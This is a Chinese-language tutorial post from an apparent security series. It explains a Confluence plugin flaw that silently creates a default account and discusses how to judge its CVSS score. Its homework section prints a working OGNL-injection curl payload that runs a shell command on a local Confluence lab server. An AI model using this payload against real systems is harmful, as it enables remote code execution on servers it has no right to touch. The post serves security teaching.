所謂的厲害,就是讓這個世界,因為有了我,會有一點點差別。而我的世界,不過就是你的心。 —— 九把刀 《那些年,我們一起追的女孩》
第11天了要連續來兩個比較輕鬆的漏洞,這個漏洞雖然我之前沒錄過,但原理相當簡單,應該不用太多時間就可以說明完。先來看看漏洞的相關資訊吧。
漏洞相關資訊
這個漏洞因為利用門檻低,被 ithome 新聞報了兩次,而且也被CISA把這個漏洞納入已遭開採名單。但覆現方法其實不難,主要是發生在安裝 Confluence 套件 Atlassian Questions 後會自動幫忙產生一組帳號密碼。
步驟如下 :
這邊就會延伸兩個問題出來,第一個是很多系統也都有預設帳密啊,為什麼這個套件的漏洞反而會變成CVE? 的確當初在我們裝完 F5 Big-IP 後也不知道帳密要打啥,但是去Google一下就知道預設帳號密碼了,但也沒看到 F5 有被提報變成 CVE。
原因在於,F5 Big-IP 是大家都知道裝完後會設定好的事實,而且進去第一步也會要求要修改。但這個套件並沒有說明它安裝後會自動幫忙創建帳號密碼,所以使用者裝完並不知道自己被開了一個後門帳號,有種被偷襲的感覺,也因此才會被舉報出來。
第二個問題在於,其實進去檢視後會發現這個帳號就只有一般使用者的權限而已,但為何它的CVSS分數如此之高?
這部分我自己猜想的原因是,因為 NVD 在評估時並不知道發生漏洞的 Confluence 內的權限配置,有可能一般使用者就可以看到很多機敏資訊,也有可能甚麼都看不到。所以本著料敵從嚴的態度,最後才會給出這麼高的分數吧。
但這也讓我們知道一件事情就是即便一個漏洞的 CVSS 分數高還是要考慮發生的環境跟先決條件,才有辦法正確的評斷漏洞的影響力跟需要修補的優先順序。
Confluence 回家作業解答 :
sed 指令的使用格式為 sed -i 's/要被取代的字串/新的字串/g' 檔案名稱,但因為 payload 組成關係無法使用 ' 符號。另外也有其實有趣的小功能可以指取代第一個對應到的部分 sed -i '0,/要被取代字串/{s/要被取代字串/新的字串/}' 檔案名稱
測試步驟如下 :
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/Oops/s/Oops/aeifkz/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
Confluence 回家作業延伸出的回家作業 :
參考資料